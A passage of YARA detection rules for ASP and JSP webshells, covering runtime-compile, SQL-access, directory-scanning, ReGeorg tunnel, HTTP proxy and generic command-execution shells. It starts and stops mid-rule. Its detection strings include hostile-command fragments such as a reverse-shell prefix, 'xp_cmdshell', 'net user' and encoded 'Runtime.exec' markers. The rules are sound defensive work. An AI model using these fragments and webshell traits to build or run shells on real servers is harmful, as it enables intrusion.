		$input_form2 = ".text" nocase wide ascii
		$exec_proc1 = "new Process" nocase wide ascii
		$exec_proc2 = "start(" nocase wide ascii
		$exec_shell1 = "cmd.exe" nocase wide ascii
		$exec_shell2 = "powershell.exe" nocase wide ascii
		$tagasp_short1 = /<%[^"]/ wide ascii
		$tagasp_short2 = "%>" wide ascii
		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
		$tagasp_long10 = "<%@ " wide ascii
		$tagasp_long11 = /<% \w/ nocase wide ascii
		$tagasp_long12 = "<%ex" nocase wide ascii
		$tagasp_long13 = "<%ev" nocase wide ascii
		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
		$php1 = "<?php"
		$php2 = "<?="
		$jsp1 = "=\"java." wide ascii
		$jsp2 = "=\"javax." wide ascii
		$jsp3 = "java.lang." wide ascii
		$jsp4 = "public" fullword wide ascii
		$jsp5 = "throws" fullword wide ascii
		$jsp6 = "getValue" fullword wide ascii
		$jsp7 = "getBytes" fullword wide ascii
		$perl1 = "PerlScript" fullword

	condition:
		(( any of ( $tagasp_long* ) or any of ( $tagasp_classid* ) or ( $tagasp_short1 and $tagasp_short2 in ( filesize - 100 .. filesize ) ) or ( $tagasp_short2 and ( $tagasp_short1 in ( 0 .. 1000 ) or $tagasp_short1 in ( filesize - 1000 .. filesize ) ) ) ) and not ( ( any of ( $perl* ) or $php1 at 0 or $php2 at 0 ) or ( ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0 ) ) ) and filesize < 300KB and ( $input_http or all of ( $input_form* ) ) and all of ( $exec_proc* ) and any of ( $exec_shell* )
}

rule WEBSHELL_ASP_Runtime_Compile : FILE
{
	meta:
		description = "ASP webshell compiling payload in memory at runtime, e.g. sharpyshell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "https://github.com/antonioCoco/SharPyShell"
		date = "2021/01/11"
		modified = "2023-04-05"
		score = 75
		hash = "e826c4139282818d38dcccd35c7ae6857b1d1d01"
		hash = "e20e078d9fcbb209e3733a06ad21847c5c5f0e52"
		hash = "57f758137aa3a125e4af809789f3681d1b08ee5b"
		hash = "bd75ac9a1d1f6bcb9a2c82b13ea28c0238360b3a7be909b2ed19d3c96e519d3d"
		hash = "e44058dd1f08405e59d411d37d2ebc3253e2140385fa2023f9457474031b48ee"
		hash = "f6092ab5c8d491ae43c9e1838c5fd79480055033b081945d16ff0f1aaf25e6c7"
		hash = "dfd30139e66cba45b2ad679c357a1e2f565e6b3140a17e36e29a1e5839e87c5e"
		hash = "89eac7423dbf86eb0b443d8dd14252b4208e7462ac2971c99f257876388fccf2"
		hash = "8ce4eaf111c66c2e6c08a271d849204832713f8b66aceb5dadc293b818ccca9e"
		id = "5da9318d-f542-5603-a111-5b240f566d47"

	strings:
		$payload_reflection1 = "System" fullword nocase wide ascii
		$payload_reflection2 = "Reflection" fullword nocase wide ascii
		$payload_reflection3 = "Assembly" fullword nocase wide ascii
		$payload_load_reflection1 = /[."']Load\b/ nocase wide ascii
		$payload_load_reflection2 = /\bGetMethod\(("load|\w)/ nocase wide ascii
		$payload_compile1 = "GenerateInMemory" nocase wide ascii
		$payload_compile2 = "CompileAssemblyFromSource" nocase wide ascii
		$payload_invoke1 = "Invoke" fullword nocase wide ascii
		$payload_invoke2 = "CreateInstance" fullword nocase wide ascii
		$payload_xamlreader1 = "XamlReader" fullword nocase wide ascii
		$payload_xamlreader2 = "Parse" fullword nocase wide ascii
		$payload_xamlreader3 = "assembly=" nocase wide ascii
		$payload_powershell1 = "PSObject" fullword nocase wide ascii
		$payload_powershell2 = "Invoke" fullword nocase wide ascii
		$payload_powershell3 = "CreateRunspace" fullword nocase wide ascii
		$rc_fp1 = "Request.MapPath"
		$rc_fp2 = "<body><mono:MonoSamplesHeader runat=\"server\"/>" wide ascii
		$asp_input1 = "request" fullword nocase wide ascii
		$asp_input2 = "Page_Load" fullword nocase wide ascii
		$asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
		$asp_input4 = "\\u0065\\u0071\\u0075" wide ascii
		$asp_input5 = "\\u0065\\u0073\\u0074" wide ascii
		$asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
		$asp_xml_method1 = "GET" fullword wide ascii
		$asp_xml_method2 = "POST" fullword wide ascii
		$asp_xml_method3 = "HEAD" fullword wide ascii
		$asp_form1 = "<form " wide ascii
		$asp_form2 = "<Form " wide ascii
		$asp_form3 = "<FORM " wide ascii
		$asp_asp = "<asp:" wide ascii
		$asp_text1 = ".text" wide ascii
		$asp_text2 = ".Text" wide ascii
		$sus_refl1 = " ^= " wide ascii
		$sus_refl2 = "SharPy" wide ascii

	condition:
		(( filesize < 50KB and any of ( $sus_refl* ) ) or filesize < 10KB ) and ( any of ( $asp_input* ) or ( $asp_xml_http and any of ( $asp_xml_method* ) ) or ( any of ( $asp_form* ) and any of ( $asp_text* ) and $asp_asp ) ) and not any of ( $rc_fp* ) and ( ( all of ( $payload_reflection* ) and any of ( $payload_load_reflection* ) ) or ( all of ( $payload_compile* ) and any of ( $payload_invoke* ) ) or all of ( $payload_xamlreader* ) or all of ( $payload_powershell* ) )
}

rule WEBSHELL_ASP_SQL
{
	meta:
		description = "ASP webshell giving SQL access. Might also be a dual use tool."
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/03/14"
		modified = "2023-07-05"
		hash = "216c1dd950e0718e35bc4834c5abdc2229de3612"
		hash = "ffe44e9985d381261a6e80f55770833e4b78424bn"
		hash = "3d7cd32d53abc7f39faed133e0a8f95a09932b64"
		hash = "f19cc178f1cfad8601f5eea2352cdbd2d6f94e7e"
		hash = "cafc4ede15270ab3f53f007c66e82627a39f4d0f"
		id = "e534dcb9-40ab-544f-ae55-89fb21c422e9"

	strings:
		$sql1 = "SqlConnection" fullword wide ascii
		$sql2 = "SQLConnection" fullword wide ascii
		$sql3 = "System" fullword wide ascii
		$sql4 = "Data" fullword wide ascii
		$sql5 = "SqlClient" fullword wide ascii
		$sql6 = "SQLClient" fullword wide ascii
		$sql7 = "Open" fullword wide ascii
		$sql8 = "SqlCommand" fullword wide ascii
		$sql9 = "SQLCommand" fullword wide ascii
		$o_sql1 = "SQLOLEDB" fullword wide ascii
		$o_sql2 = "CreateObject" fullword wide ascii
		$o_sql3 = "open" fullword wide ascii
		$a_sql1 = "ADODB.Connection" fullword wide ascii
		$a_sql2 = "adodb.connection" fullword wide ascii
		$a_sql3 = "CreateObject" fullword wide ascii
		$a_sql4 = "createobject" fullword wide ascii
		$a_sql5 = "open" fullword wide ascii
		$c_sql1 = "System.Data.SqlClient" fullword wide ascii
		$c_sql2 = "sqlConnection" fullword wide ascii
		$c_sql3 = "open" fullword wide ascii
		$sus1 = "shell" fullword nocase wide ascii
		$sus2 = "xp_cmdshell" fullword nocase wide ascii
		$sus3 = "aspxspy" fullword nocase wide ascii
		$sus4 = "_KillMe" wide ascii
		$sus5 = "cmd.exe" fullword wide ascii
		$sus6 = "cmd /c" fullword wide ascii
		$sus7 = "net user" fullword wide ascii
		$sus8 = "\\x2D\\x3E\\x7C" wide ascii
		$sus9 = "Hacker" fullword wide ascii
		$sus10 = "hacker" fullword wide ascii
		$sus11 = "HACKER" fullword wide ascii
		$sus12 = "webshell" wide ascii
		$sus13 = "equest[\"sql\"]" wide ascii
		$sus14 = "equest(\"sql\")" wide ascii
		$sus15 = { e5 bc 80 e5 a7 8b e5 af bc e5 }
		$sus16 = "\"sqlCommand\"" wide ascii
		$sus17 = "\"sqlcommand\"" wide ascii
		$slightly_sus3 = "SHOW COLUMNS FROM " wide ascii
		$slightly_sus4 = "show columns from " wide ascii
		$tagasp_short1 = /<%[^"]/ wide ascii
		$tagasp_short2 = "%>" wide ascii
		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
		$tagasp_long10 = "<%@ " wide ascii
		$tagasp_long11 = /<% \w/ nocase wide ascii
		$tagasp_long12 = "<%ex" nocase wide ascii
		$tagasp_long13 = "<%ev" nocase wide ascii
		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
		$php1 = "<?php"
		$php2 = "<?="
		$jsp1 = "=\"java." wide ascii
		$jsp2 = "=\"javax." wide ascii
		$jsp3 = "java.lang." wide ascii
		$jsp4 = "public" fullword wide ascii
		$jsp5 = "throws" fullword wide ascii
		$jsp6 = "getValue" fullword wide ascii
		$jsp7 = "getBytes" fullword wide ascii
		$perl1 = "PerlScript" fullword
		$asp_input1 = "request" fullword nocase wide ascii
		$asp_input2 = "Page_Load" fullword nocase wide ascii
		$asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
		$asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
		$asp_xml_method1 = "GET" fullword wide ascii
		$asp_xml_method2 = "POST" fullword wide ascii
		$asp_xml_method3 = "HEAD" fullword wide ascii
		$asp_form1 = "<form " wide ascii
		$asp_form2 = "<Form " wide ascii
		$asp_form3 = "<FORM " wide ascii
		$asp_asp = "<asp:" wide ascii
		$asp_text1 = ".text" wide ascii
		$asp_text2 = ".Text" wide ascii

	condition:
		(( any of ( $tagasp_long* ) or any of ( $tagasp_classid* ) or ( $tagasp_short1 and $tagasp_short2 in ( filesize - 100 .. filesize ) ) or ( $tagasp_short2 and ( $tagasp_short1 in ( 0 .. 1000 ) or $tagasp_short1 in ( filesize - 1000 .. filesize ) ) ) ) and not ( ( any of ( $perl* ) or $php1 at 0 or $php2 at 0 ) or ( ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0 ) ) ) and ( any of ( $asp_input* ) or ( $asp_xml_http and any of ( $asp_xml_method* ) ) or ( any of ( $asp_form* ) and any of ( $asp_text* ) and $asp_asp ) ) and ( 6 of ( $sql* ) or all of ( $o_sql* ) or 3 of ( $a_sql* ) or all of ( $c_sql* ) ) and ( ( filesize < 150KB and any of ( $sus* ) ) or ( filesize < 5KB and any of ( $slightly_sus* ) ) )
}

rule WEBSHELL_ASP_Scan_Writable
{
	meta:
		description = "ASP webshell searching for writable directories (to hide more webshells ...)"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/03/14"
		modified = "2023-04-05"
		hash = "2409eda9047085baf12e0f1b9d0b357672f7a152"
		hash = "af1c00696243f8b062a53dad9fb8b773fa1f0395631ffe6c7decc42c47eedee7"
		id = "1766e081-0591-59ab-b546-b13207764b4d"

	strings:
		$scan1 = "DirectoryInfo" nocase fullword wide ascii
		$scan2 = "GetDirectories" nocase fullword wide ascii
		$scan3 = "Create" nocase fullword wide ascii
		$scan4 = "File" nocase fullword wide ascii
		$scan5 = "System.IO" nocase fullword wide ascii
		$scan6 = "CanWrite" nocase fullword wide ascii
		$scan7 = "Delete" nocase fullword wide ascii
		$sus1 = "upload" nocase fullword wide ascii
		$sus2 = "shell" nocase wide ascii
		$sus3 = "orking directory" nocase fullword wide ascii
		$sus4 = "scan" nocase wide ascii
		$tagasp_short1 = /<%[^"]/ wide ascii
		$tagasp_short2 = "%>" wide ascii
		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
		$tagasp_long10 = "<%@ " wide ascii
		$tagasp_long11 = /<% \w/ nocase wide ascii
		$tagasp_long12 = "<%ex" nocase wide ascii
		$tagasp_long13 = "<%ev" nocase wide ascii
		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
		$php1 = "<?php"
		$php2 = "<?="
		$jsp1 = "=\"java." wide ascii
		$jsp2 = "=\"javax." wide ascii
		$jsp3 = "java.lang." wide ascii
		$jsp4 = "public" fullword wide ascii
		$jsp5 = "throws" fullword wide ascii
		$jsp6 = "getValue" fullword wide ascii
		$jsp7 = "getBytes" fullword wide ascii
		$perl1 = "PerlScript" fullword
		$asp_input1 = "request" fullword nocase wide ascii
		$asp_input2 = "Page_Load" fullword nocase wide ascii
		$asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
		$asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
		$asp_xml_method1 = "GET" fullword wide ascii
		$asp_xml_method2 = "POST" fullword wide ascii
		$asp_xml_method3 = "HEAD" fullword wide ascii
		$asp_form1 = "<form " wide ascii
		$asp_form2 = "<Form " wide ascii
		$asp_form3 = "<FORM " wide ascii
		$asp_asp = "<asp:" wide ascii
		$asp_text1 = ".text" wide ascii
		$asp_text2 = ".Text" wide ascii

	condition:
		filesize < 10KB and ( ( any of ( $tagasp_long* ) or any of ( $tagasp_classid* ) or ( $tagasp_short1 and $tagasp_short2 in ( filesize - 100 .. filesize ) ) or ( $tagasp_short2 and ( $tagasp_short1 in ( 0 .. 1000 ) or $tagasp_short1 in ( filesize - 1000 .. filesize ) ) ) ) and not ( ( any of ( $perl* ) or $php1 at 0 or $php2 at 0 ) or ( ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0 ) ) ) and ( any of ( $asp_input* ) or ( $asp_xml_http and any of ( $asp_xml_method* ) ) or ( any of ( $asp_form* ) and any of ( $asp_text* ) and $asp_asp ) ) and 6 of ( $scan* ) and any of ( $sus* )
}

rule WEBSHELL_JSP_ReGeorg
{
	meta:
		description = "Webshell regeorg JSP version"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		reference = "https://github.com/sensepost/reGeorg"
		hash = "6db49e43722080b5cd5f07e058a073ba5248b584"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021/01/24"
		modified = "2023-04-05"
		score = 75
		hash = "650eaa21f4031d7da591ebb68e9fc5ce5c860689"
		hash = "00c86bf6ce026ccfaac955840d18391fbff5c933"
		hash = "6db49e43722080b5cd5f07e058a073ba5248b584"
		hash = "9108a33058aa9a2fb6118b719c5b1318f33f0989"
		id = "cbb90005-d8f8-5c64-85d1-29e466f48c25"

	strings:
		$jgeorg1 = "request" fullword wide ascii
		$jgeorg2 = "getHeader" fullword wide ascii
		$jgeorg3 = "X-CMD" fullword wide ascii
		$jgeorg4 = "X-STATUS" fullword wide ascii
		$jgeorg5 = "socket" fullword wide ascii
		$jgeorg6 = "FORWARD" fullword wide ascii
		$cjsp_short1 = "<%" ascii wide
		$cjsp_short2 = "%>" wide ascii
		$cjsp_long1 = "<jsp:" ascii wide
		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
		$cjsp_long3 = "/jstl/core" ascii wide
		$cjsp_long4 = "<%@p" nocase ascii wide
		$cjsp_long5 = "<%@ " nocase ascii wide
		$cjsp_long6 = "<% " ascii wide
		$cjsp_long7 = "< %" ascii wide

	condition:
		filesize < 300KB and ( $cjsp_short1 at 0 or any of ( $cjsp_long* ) or $cjsp_short2 in ( filesize - 100 .. filesize ) or ( $cjsp_short2 and ( $cjsp_short1 in ( 0 .. 1000 ) or $cjsp_short1 in ( filesize - 1000 .. filesize ) ) ) ) and all of ( $jgeorg* )
}

rule WEBSHELL_JSP_HTTP_Proxy
{
	meta:
		description = "Webshell JSP HTTP proxy"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		hash = "2f9b647660923c5262636a5344e2665512a947a4"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/01/24"
		modified = "2023-07-05"
		hash = "97c1e2bf7e769d3fc94ae2fc74ac895f669102c6"
		hash = "2f9b647660923c5262636a5344e2665512a947a4"
		id = "55be246e-30a8-52ed-bc5f-507e63bbfe16"

	strings:
		$jh1 = "OutputStream" fullword wide ascii
		$jh2 = "InputStream" wide ascii
		$jh3 = "BufferedReader" fullword wide ascii
		$jh4 = "HttpRequest" fullword wide ascii
		$jh5 = "openConnection" fullword wide ascii
		$jh6 = "getParameter" fullword wide ascii
		$cjsp_short1 = "<%" ascii wide
		$cjsp_short2 = "%>" wide ascii
		$cjsp_long1 = "<jsp:" ascii wide
		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
		$cjsp_long3 = "/jstl/core" ascii wide
		$cjsp_long4 = "<%@p" nocase ascii wide
		$cjsp_long5 = "<%@ " nocase ascii wide
		$cjsp_long6 = "<% " ascii wide
		$cjsp_long7 = "< %" ascii wide

	condition:
		filesize < 10KB and ( $cjsp_short1 at 0 or any of ( $cjsp_long* ) or $cjsp_short2 in ( filesize - 100 .. filesize ) or ( $cjsp_short2 and ( $cjsp_short1 in ( 0 .. 1000 ) or $cjsp_short1 in ( filesize - 1000 .. filesize ) ) ) ) and all of ( $jh* )
}

rule WEBSHELL_JSP_Writer_Nano
{
	meta:
		description = "JSP file writer"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/01/24"
		modified = "2023-04-05"
		hash = "ac91e5b9b9dcd373eaa9360a51aa661481ab9429"
		hash = "c718c885b5d6e29161ee8ea0acadb6e53c556513"
		hash = "9f1df0249a6a491cdd5df598d83307338daa4c43"
		hash = "5e241d9d3a045d3ade7b6ff6af6c57b149fa356e"
		id = "422a18f2-d6d4-5b42-be15-1eafe44e01cf"

	strings:
		$payload1 = ".write" wide ascii
		$payload2 = "getBytes" fullword wide ascii
		$payload3 = ".decodeBuffer" wide ascii
		$payload4 = "FileOutputStream" fullword wide ascii
		$logger1 = "getLogger" fullword ascii wide
		$logger2 = "FileHandler" fullword ascii wide
		$logger3 = "addHandler" fullword ascii wide
		$input1 = "getParameter" fullword ascii wide
		$input2 = "getHeaders" fullword ascii wide
		$input3 = "getInputStream" fullword ascii wide
		$input4 = "getReader" fullword ascii wide
		$req1 = "request" fullword ascii wide
		$req2 = "HttpServletRequest" fullword ascii wide
		$req3 = "getRequest" fullword ascii wide
		$jw_sus1 = /getParameter\("."\)/ ascii wide
		$jw_sus4 = "yoco" fullword ascii wide
		$cjsp_short1 = "<%" ascii wide
		$cjsp_short2 = "%>" wide ascii
		$cjsp_long1 = "<jsp:" ascii wide
		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
		$cjsp_long3 = "/jstl/core" ascii wide
		$cjsp_long4 = "<%@p" nocase ascii wide
		$cjsp_long5 = "<%@ " nocase ascii wide
		$cjsp_long6 = "<% " ascii wide
		$cjsp_long7 = "< %" ascii wide

	condition:
		( any of ( $input* ) and any of ( $req* ) ) and ( filesize < 200 or ( filesize < 1000 and any of ( $jw_sus* ) ) ) and ( $cjsp_short1 at 0 or any of ( $cjsp_long* ) or $cjsp_short2 in ( filesize - 100 .. filesize ) or ( $cjsp_short2 and ( $cjsp_short1 in ( 0 .. 1000 ) or $cjsp_short1 in ( filesize - 1000 .. filesize ) ) ) ) and ( 2 of ( $payload* ) or all of ( $logger* ) )
}

rule WEBSHELL_JSP_Generic_Tiny
{
	meta:
		description = "Generic JSP webshell tiny"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/01/07"
		modified = "2023-04-05"
		hash = "8fd343db0442136e693e745d7af1018a99b042af"
		hash = "87c3ac9b75a72187e8bc6c61f50659435dbdc4fde6ed720cebb93881ba5989d8"
		hash = "1aa6af726137bf261849c05d18d0a630d95530588832aadd5101af28acc034b5"
		id = "7535ade8-fc65-5558-a72c-cc14c3306390"

	strings:
		$payload1 = "ProcessBuilder" fullword wide ascii
		$payload2 = "URLClassLoader" fullword wide ascii
		$payload_rt1 = "Runtime" fullword wide ascii
		$payload_rt2 = "getRuntime" fullword wide ascii
		$payload_rt3 = "exec" fullword wide ascii
		$jg_sus1 = "xe /c" ascii wide
		$jg_sus2 = /getParameter\("."\)/ ascii wide
		$jg_sus3 = "</pre>" ascii wide
		$jg_sus4 = "BASE64Decoder" fullword ascii wide
		$cjsp_short1 = "<%" ascii wide
		$cjsp_short2 = "%>" wide ascii
		$cjsp_long1 = "<jsp:" ascii wide
		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
		$cjsp_long3 = "/jstl/core" ascii wide
		$cjsp_long4 = "<%@p" nocase ascii wide
		$cjsp_long5 = "<%@ " nocase ascii wide
		$cjsp_long6 = "<% " ascii wide
		$cjsp_long7 = "< %" ascii wide
		$input1 = "getParameter" fullword ascii wide
		$input2 = "getHeaders" fullword ascii wide
		$input3 = "getInputStream" fullword ascii wide
		$input4 = "getReader" fullword ascii wide
		$req1 = "request" fullword ascii wide
		$req2 = "HttpServletRequest" fullword ascii wide
		$req3 = "getRequest" fullword ascii wide
		$fixed_cmd1 = "bash -i >& /dev/" ascii wide

	condition:
		(( filesize < 1000 and any of ( $jg_sus* ) ) or filesize < 250 ) and ( $cjsp_short1 at 0 or any of ( $cjsp_long* ) or $cjsp_short2 in ( filesize - 100 .. filesize ) or ( $cjsp_short2 and ( $cjsp_short1 in ( 0 .. 1000 ) or $cjsp_short1 in ( filesize - 1000 .. filesize ) ) ) ) and ( ( any of ( $input* ) and any of ( $req* ) ) or ( any of ( $fixed_cmd* ) ) ) and ( 1 of ( $payload* ) or all of ( $payload_rt* ) )
}

rule WEBSHELL_JSP_Generic
{
	meta:
		description = "Generic JSP webshell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/01/07"
		modified = "2023-04-05"
		hash = "4762f36ca01fb9cda2ab559623d2206f401fc0b1"
		hash = "bdaf9279b3d9e07e955d0ce706d9c42e4bdf9aa1"
		hash = "ee9408eb923f2d16f606a5aaac7e16b009797a07"
		id = "7535ade8-fc65-5558-a72c-cc14c3306390"

	strings:
		$susp0 = "cmd" fullword nocase ascii wide
		$susp1 = "command" fullword nocase ascii wide
		$susp2 = "shell" fullword nocase ascii wide
		$susp3 = "download" fullword nocase ascii wide
		$susp4 = "upload" fullword nocase ascii wide
		$susp5 = "Execute" fullword nocase ascii wide
		$susp6 = "\"pwd\"" ascii wide
		$susp7 = "\"</pre>" ascii wide
		$susp8 = /\\u00\d\d\\u00\d\d\\u00\d\d\\u00\d\d/ ascii wide
		$susp9 = "*/\\u00" ascii wide
		$fp1 = "command = \"cmd.exe /c set\";"
		$dex = { 64 65 ( 78 | 79 ) 0a 30 }
		$pack = { 50 41 43 4b 00 00 00 02 00 }
		$cjsp_short1 = "<%" ascii wide
		$cjsp_short2 = "%>" wide ascii
		$cjsp_long1 = "<jsp:" ascii wide
		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
		$cjsp_long3 = "/jstl/core" ascii wide
		$cjsp_long4 = "<%@p" nocase ascii wide
		$cjsp_long5 = "<%@ " nocase ascii wide
		$cjsp_long6 = "<% " ascii wide
		$cjsp_long7 = "< %" ascii wide
		$input1 = "getParameter" fullword ascii wide
		$input2 = "getHeaders" fullword ascii wide
		$input3 = "getInputStream" fullword ascii wide
		$input4 = "getReader" fullword ascii wide
		$req1 = "request" fullword ascii wide
		$req2 = "HttpServletRequest" fullword ascii wide
		$req3 = "getRequest" fullword ascii wide
		$payload1 = "ProcessBuilder" fullword ascii wide
		$payload2 = "processCmd" fullword ascii wide
		$rt_payload1 = "Runtime" fullword ascii wide
		$rt_payload2 = "getRuntime" fullword ascii wide
		$rt_payload3 = "exec" fullword ascii wide

	condition:
		filesize < 300KB and not ( uint16( 0 ) == 0x5a4d or $dex at 0 or $pack at 0 or uint16( 0 ) == 0x4b50 ) and ( $cjsp_short1 at 0 or any of ( $cjsp_long* ) or $cjsp_short2 in ( filesize - 100 .. filesize ) or ( $cjsp_short2 and ( $cjsp_short1 in ( 0 .. 1000 ) or $cjsp_short1 in ( filesize - 1000 .. filesize ) ) ) ) and ( any of ( $input* ) and any of ( $req* ) ) and ( 1 of ( $payload* ) or all of ( $rt_payload* ) ) and not any of ( $fp* ) and any of ( $susp* )
}

rule WEBSHELL_JSP_Generic_Base64
{
	meta:
		description = "Generic JSP webshell with base64 encoded payload"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/01/24"
		modified = "2023-04-05"
		hash = "8b5fe53f8833df3657ae2eeafb4fd101c05f0db0"
		hash = "1b916afdd415dfa4e77cecf47321fd676ba2184d"
		id = "2eabbad2-7d10-573a-9120-b9b763fa2352"

	strings:
		$one1 = "SdW50aW1l" wide ascii
		$one2 = "J1bnRpbW" wide ascii
		$one3 = "UnVudGltZ" wide ascii
		$one4 = "IAdQBuAHQAaQBtAGUA" wide ascii
		$one5 = "SAHUAbgB0AGkAbQBlA" wide ascii
		$one6 = "UgB1AG4AdABpAG0AZQ" wide ascii
		$two1 = "leGVj" wide ascii
		$two2 = "V4ZW" wide ascii
		$two3 = "ZXhlY" wide ascii
		$two4 = "UAeABlAGMA" wide ascii
		$two5 = "lAHgAZQBjA" wide ascii
		$two6 = "ZQB4AGUAYw" wide ascii
		$three1 = "TY3JpcHRFbmdpbmVGYWN0b3J5" wide ascii
		$three2 = "NjcmlwdEVuZ2luZUZhY3Rvcn" wide ascii
		$three3 = "U2NyaXB0RW5naW5lRmFjdG9ye" wide ascii
		$three4 = "MAYwByAGkAcAB0AEUAbgBnAGkAbgBlAEYAYQBjAHQAbwByAHkA" wide ascii
		$three5 = "TAGMAcgBpAHAAdABFAG4AZwBpAG4AZQBGAGEAYwB0AG8AcgB5A" wide ascii
		$three6 = "UwBjAHIAaQBwAHQARQBuAGcAaQBuAGUARgBhAGMAdABvAHIAeQ" wide ascii
		$cjsp_short1 = "<%" ascii wide
		$cjsp_short2 = "%>" wide ascii
		$cjsp_long1 = "<jsp:" ascii wide
		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
		$cjsp_long3 = "/jstl/core" ascii wide
		$cjsp_long4 = "<%@p" nocase ascii wide
		$cjsp_long5 = "<%@ " nocase ascii wide
		$cjsp_long6 = "<% " ascii wide
		$cjsp_long7 = "< %" ascii wide
		$dex = { 64 65 ( 78 | 79 ) 0a 30 }
		$pack = { 50 41 43 4b 00 00 00 02 00 }

	condition:
		($cjsp_short1 at 0 or any of ( $cjsp_long* ) or $cjsp_short2 in ( filesize - 100 .. filesize ) or ( $cjsp_short2 and ( $cjsp_short1 in ( 0 .. 1000 ) or $cjsp_short1 in ( filesize - 1000 .. filesize ) ) ) ) and not ( uint16( 0 ) == 0x5a4d or $dex at 0 or $pack at 0 or uint16( 0 ) == 0x4b50 ) and filesize < 300KB and ( any of ( $one* ) and any of ( $two* ) or any of ( $three* ) )
}

rule WEBSHELL_JSP_Generic_ProcessBuilder
{
	meta:
		description = "Generic JSP webshell which uses processbuilder to execute user input"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/01/07"
		modified = "2023-04-05"
		hash = "82198670ac2072cd5c2853d59dcd0f8dfcc28923"
		hash = "c05a520d96e4ebf9eb5c73fc0fa446ceb5caf343"
		hash = "347a55c174ee39ec912d9107e971d740f3208d53af43ea480f502d177106bbe8"
		hash = "d0ba29b646274e8cda5be1b940a38d248880d9e2bba11d994d4392c80d6b65bd"
		id = "2a7c5f44-24a1-5f43-996e-945c209b79b1"

	strings:
		$exec = "ProcessBuilder" fullword wide ascii
		$start = "start" fullword wide ascii
		$input1 = "getParameter" fullword ascii wide
